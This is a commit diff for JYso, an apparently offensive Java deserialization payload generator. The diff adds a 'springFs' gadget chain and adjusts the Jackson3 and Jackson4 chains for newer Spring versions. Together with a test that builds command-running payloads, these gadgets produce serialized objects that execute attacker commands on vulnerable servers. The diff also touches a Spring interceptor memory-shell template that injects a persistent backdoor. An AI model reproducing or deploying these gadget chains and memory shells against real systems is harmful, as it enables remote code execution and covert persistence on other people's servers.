feat: add gadget springFs

build.gradle

@@ -127,7 +127,7 @@ dependencies {
 
 
 group = 'org.example'
-version = '1.3.6'
+version = '1.3.6.1'
 description = 'JYso'
 java.sourceCompatibility = JavaVersion.VERSION_1_8
 

src/main/java/com/qi4l/JYso/controllers/ysoserial.java

@@ -13,6 +13,7 @@ import java.io.FileOutputStream;
 import java.io.OutputStream;
 import java.util.*;
 
+import static com.qi4l.JYso.gadgets.Config.Config.BASE64;
 import static com.qi4l.JYso.gadgets.Config.Config.logo;
 import static com.qi4l.JYso.gadgets.utils.HexUtils.generatePassword;
 import static com.qi4l.JYso.gadgets.utils.StringUtil.isFromExploit;

src/main/java/com/qi4l/JYso/gadgets/Jackson3.java

@@ -6,8 +6,6 @@ import com.qi4l.JYso.gadgets.annotation.Dependencies;
 import com.qi4l.JYso.gadgets.utils.SuClassLoader;
 import com.qi4l.JYso.gadgets.utils.Gadgets;
 
-import javassist.ClassClassPath;
-
 import org.springframework.aop.framework.AdvisedSupport;
 
 import javassist.ClassPool;
@@ -24,7 +22,6 @@ import java.lang.reflect.*;
 
 import java.util.Vector;
 
-import static com.qi4l.JYso.gadgets.Config.Config.POOL;
 import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
 
 
@@ -38,7 +35,7 @@ public class Jackson3 implements ObjectPayload<Object> {
 
         //<=6.0.23为6115154060221772279
         //>=6.1.0 为273003553246259276
-        String sUID = "6115154060221772279";
+        String sUID = "273003553246259276";
         CtClass ctDefaultAdvisorChainFactory = insertField(
                 "org.springframework.aop.framework.DefaultAdvisorChainFactory",
                 "private static final long serialVersionUID = " + sUID + "L;");
@@ -57,16 +54,18 @@ public class Jackson3 implements ObjectPayload<Object> {
     public static Object getEventListenerList(Object obj) throws Exception {
         //>=6.1.0 为-7977902244297240866
         //<=6.0.23为-5677132037850737084
+        String sUID1 = "7977902244297240866";
         CtClass ctEventListenerList = insertField(
                 "javax.swing.event.EventListenerList",
-                "private static final long serialVersionUID = -5677132037850737084;");
+                "private static final long serialVersionUID = -" + sUID1 + "L;");
         Object list = ctEventListenerList.toClass(new SuClassLoader()).newInstance();
 
         //>=6.1.0 为-1045223116463488483
         //<=6.0.23为-2077529998244066750
+        String sUID2 = "1045223116463488483";
         CtClass ctUndoManager = insertField(
                 "javax.swing.undo.UndoManager",
-                "private static final long serialVersionUID = -2077529998244066750L;");
+                "private static final long serialVersionUID = -" + sUID2 + "L;");
         Object undomanager = ctUndoManager.toClass(new SuClassLoader()).newInstance();
 
         //取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象，并把需要触发toString的类add进去。

src/main/java/com/qi4l/JYso/gadgets/Jackson4.java

@@ -1,6 +1,8 @@
 package com.qi4l.JYso.gadgets;
 
 import com.fasterxml.jackson.databind.node.POJONode;
+import com.qi4l.JYso.gadgets.annotation.Authors;
+import com.qi4l.JYso.gadgets.annotation.Dependencies;
 import com.sun.org.apache.xpath.internal.objects.XObject;
 import com.sun.org.apache.xpath.internal.objects.XString;
 import javassist.ClassPool;
@@ -14,6 +16,8 @@ import static com.qi4l.JYso.gadgets.Jackson3.makeTemplatesImplAopProxy;
 
 
 //Jackson1链的JDK17改造
+@Dependencies({"spring-apo:6.2.10"})
+@Authors({Authors.QI4L})
 public class Jackson4 implements ObjectPayload<Object> {
     @Override
     public Object getObject(String command) throws Exception {

src/main/java/com/qi4l/JYso/gadgets/cb192.java

@@ -15,6 +15,7 @@ public class cb192 implements ObjectPayload<Object> {
     public Object getObject(String command) throws Exception {
         final Object template;
         template = Gadgets.createTemplatesImpl(command);
+
         final BeanComparator        comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
         final PriorityQueue<Object> queue      = new PriorityQueue<Object>(2, comparator);
         queue.add("1");

src/main/java/com/qi4l/JYso/gadgets/springFs.java

@@ -0,0 +1,101 @@
+package com.qi4l.JYso.gadgets;
+
+
+import com.alibaba.fastjson.JSONArray;
+import com.alibaba.fastjson.JSONObject;
+import com.qi4l.JYso.gadgets.utils.Gadgets;
+import com.qi4l.JYso.gadgets.utils.Reflections;
+import javassist.ClassPool;
+import javassist.CtClass;
+import javassist.CtField;
+import javassist.NotFoundException;
+import org.apache.logging.log4j.core.jackson.JsonConstants;
+import org.springframework.beans.factory.ObjectFactory;
+
+import javax.management.BadAttributeValueExpException;
+import javax.xml.transform.Templates;
+import java.io.Serializable;
+import java.lang.reflect.InvocationHandler;
+import java.lang.reflect.Proxy;
+import java.net.URL;
+import java.net.URLClassLoader;
+import java.util.ArrayList;
+import java.util.HashMap;
+
+import static com.qi4l.JYso.gadgets.JDKUtil.makeMap;
+
+public class springFs implements ObjectPayload<Object>, Serializable {
+    // jdk7下使用badAttributeValueExpException,jdk8以上使用xString可打高版本JDK(jdk17)
+    public String toString = "badAttributeValueExpException";
+    // 低版本Spring-beans <5.3 -8835275493235412717
+    // 高版本Spring-beans >=5.3 -1515767093960859525"
+    public String serialVersionUID = "-1515767093960859525";
+    private Object inv;
+    public static ClassPool pool = ClassPool.getDefault();
+
+    @Override
+    public Object getObject(String command) throws Exception {
+
+        Object obj = Gadgets.createTemplatesImpl(command);
+
+        if (this.serialVersionUID == "-1515767093960859525") {
+
+            CtClass ctClass;
+            try {
+                ctClass = pool.get("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
+            } catch (NotFoundException e) {
+                ctClass = pool.makeClass("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
+            }
+
+
+            if (ctClass.isFrozen()) {
+                ctClass.defrost();
+            }
+            try {
+                CtField field = ctClass.getDeclaredField("serialVersionUID");
+                ctClass.removeField(field);
+            } catch (NotFoundException e) {
+            }
+            ctClass.addField(CtField.make("private static final long serialVersionUID = " + serialVersionUID + "L;", ctClass));
+            Class<?> aClass = ctClass.toClass(new URLClassLoader(new URL[0]), null);
+            this.inv = Reflections.createWithoutConstructor(aClass);
+            ctClass.defrost();
+        } else {
+            this.inv = Reflections.createWithoutConstructor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
+        }
+        HashMap<String, Object> hashMap = new HashMap<>();
+        hashMap.put("object", obj);
+        JSONObject jsonObject = new JSONObject(hashMap);
+        Object o2 = Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(), new Class[]{ObjectFactory.class}, jsonObject);
+        Reflections.setFieldValue(this.inv, "objectFactory", o2);
+        Object o = Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(), new Class[]{Templates.class}, (InvocationHandler) this.inv);
+        JSONArray jsonArray = new JSONArray();
+        jsonArray.add(o);
+        if (this.toString.equals("xString")) {
+            Class<?> aClass1 = Class.forName("com.sun.org.apache.xpath.internal.objects.XStringForChars");
+            Object xString = Reflections.createWithoutConstructor(aClass1);
+            Reflections.setFieldValue(xString, "m_obj", new char[0]);
+            HashMap hashMap1 = new HashMap();
+            HashMap hashMap2 = new HashMap();
+            hashMap1.put("zZ", xString);
+            hashMap1.put("yy", jsonArray);
+            hashMap2.put("yy", xString);
+            hashMap2.put("zZ", jsonArray);
+            Object map = makeMap(hashMap1, hashMap2);
+            ArrayList<Object> arrayList = new ArrayList<>();
+            arrayList.add(obj);
+            arrayList.add(o);
+            arrayList.add(map);
+            return arrayList;
+        }
+        Object badAttributeValueExpException = new BadAttributeValueExpException(null);
+        Reflections.setFieldValue(badAttributeValueExpException, "val", jsonArray);
+        Reflections.setFieldValue(badAttributeValueExpException, "stackTrace", new StackTraceElement[0]);
+        Reflections.setFieldValue(badAttributeValueExpException, "suppressedExceptions", null);
+        Reflections.setFieldValue(badAttributeValueExpException, JsonConstants.ELT_CAUSE, null);
+        ArrayList<Object> arrayList2 = new ArrayList<>();
+        arrayList2.add(obj);
+        arrayList2.add(badAttributeValueExpException);
+        return arrayList2;
+    }
+}

src/main/java/com/qi4l/JYso/gadgets/utils/Serializer.java

@@ -52,7 +52,12 @@ public class Serializer implements Callable<byte[]> {
     }
 
 
-    public static void qiserialize(Object obj, final OutputStream out,String payloadType,String Command) throws Exception {
+    public static void qiserialize(
+            Object obj,
+            final OutputStream out,
+            String payloadType,
+            String Command
+    ) throws Exception {
         ObjectOutputStream    objOut  = null;
         AbstractHessianOutput AobjOut = null;
         ByteArrayOutputStream outB64 = new ByteArrayOutputStream();

src/main/java/com/qi4l/JYso/template/memshellStatic/spring/SpringInterceptorMS.java

@@ -49,11 +49,13 @@ public class SpringInterceptorMS extends HandlerInterceptorAdapter {
             //添加SpringInterceptorTemplate类到adaptedInterceptors
             adaptedInterceptors.add(new SpringInterceptorMS());
         } catch (Exception ignored) {
+            System.out.println(ignored);
         }
     }
 
-    @Override
     public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
+        System.out.println("注入成功");
+
         return true;
     }
 }

src/test/java/com/example/demo/demos/web/Test.java

@@ -8,9 +8,9 @@ import java.util.Base64;
 
 public class Test {
     public static void main(String[] args) throws Exception {
-        final Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass("Jackson3");
+        final Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass("jackson4");
         ObjectPayload                        payload      = payloadClass.newInstance();
-        Object                               object       = payload.getObject("calc");
+        Object                               object       = payload.getObject("dir"); //EX-MS-SpringInterceptorMS-gz
 
         secCig rootObj = new secCig();
         rootObj.setMessage("qi4l");